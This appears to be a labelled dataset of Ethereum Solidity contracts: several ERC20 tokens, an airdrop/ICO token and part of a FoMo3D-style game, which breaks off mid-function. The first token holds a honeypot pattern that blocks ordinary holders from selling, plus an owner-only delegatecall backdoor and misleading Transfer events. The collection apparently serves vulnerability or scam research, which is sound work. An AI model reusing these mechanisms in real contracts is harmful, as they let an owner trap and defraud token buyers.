address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,317 |
pragma solidity ^0.4.18;
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function onePercent(uint256 a) internal constant returns (uint256){
return div(a,uint256(100));
}
function power(uint256 a,uint256 b) internal constant returns (uint256){
return mul(a,10**b);
}
}
contract StandardToken is Token {
using SafeMath for uint256;
uint8 public decimals;
mapping(address=>bool) internal withoutFee;
uint256 internal maxFee;
function transfer(address _to, uint256 _value) returns (bool success) {
uint256 fee=getFee(_value);
if (balances[msg.sender].add(fee) >= _value && _value > 0) {
doTransfer(msg.sender,_to,_value,fee);
return true;
} else { return false; }
}
function getFee(uint256 _value) private returns (uint256){
uint256 onePercentOfValue=_value.onePercent();
uint256 fee=uint256(maxFee).power(decimals);
if (onePercentOfValue>= fee) {
return fee;
}
if (onePercentOfValue < fee) {
return onePercentOfValue;
}
}
function doTransfer(address _from,address _to,uint256 _value,uint256 fee) internal {
balances[_from] =balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
if(!withoutFee[_from]){
doBurn(_from,fee);
}
}
function doBurn(address _from,uint256 _value) private returns (bool success){
require(balanceOf(_from) >= _value);
balances[_from] =balances[_from].sub(_value);
_totalSupply =_totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
function burn(address _from,uint256 _value) public returns (bool success) {
return doBurn(_from,_value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
uint256 fee=getFee(_value);
uint256 valueWithFee=_value;
if(!withoutFee[_from]){
valueWithFee=valueWithFee.add(fee);
}
if (balances[_from] >= valueWithFee && allowed[_from][msg.sender] >= valueWithFee && _value > 0 ) {
doTransfer(_from,_to,_value,fee);
allowed[_from][msg.sender] =allowed[_from][msg.sender].sub(valueWithFee);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint totalSupply){
return _totalSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public _totalSupply;
}
contract FinalTestToken2 is StandardToken {
function () {
revert();
}
string public name;
string public symbol;
string public version = 'H1.0';
address private _owner;
string public feeInfo = "Each operation costs 1% of the transaction amount, but not more than 250 tokens.";
function FinalTestToken2() {
_totalSupply = 800000000000000000000000000;
_owner=msg.sender;
balances[msg.sender] =_totalSupply;
allocate(0x98592d09bA9B739BF9D563a601CB3F6c3A238475,20);
allocate(0xf088394D9AEec53096A18Fb192C98FD90495416C,20);
allocate(0x353c65713fDf8169f14bE74012a59eF9BAB00e9b,5);
allocate(0x52B8fA840468e2dd978936B54d0DC83392f4B4aC,35);
allocate(0x7DfE12664C21c00B6A3d1cd09444fC2CC9e7f192,20);
maxFee=100;
name = "Final Test Token";
decimals = 18;
symbol = "EQL";
}
function allocate(address _address,uint256 percent) private{
uint256 bal=_totalSupply.onePercent().mul(percent);
withoutFee[_address]=true;
doTransfer(msg.sender,_address,bal,0);
}
function setWithoutFee(address _address,bool _withoutFee) public {
require(_owner==msg.sender);
withoutFee[_address]=_withoutFee;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
} | 1 | 3,499 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GROWToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "GROW Token";
string public constant symbol = "GRW";
uint public constant decimals = 8;
uint public deadline = now + 35 * 1 days;
uint public round2 = now + 35 * 1 days;
uint public round1 = now + 30 * 1 days;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100;
uint256 public tokensPerEth = 10000000e8;
uint public target0drop = 30000;
uint public progress0drop = 0;
address multisig = 0xd261a10fDB2B47692Bd02ecfb090F906381f2175;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 4000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 4 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 8 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 12 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 8 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 12 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,886 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x6e12fbe839c952a38ad483fa042a1147c9ab7b1b);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
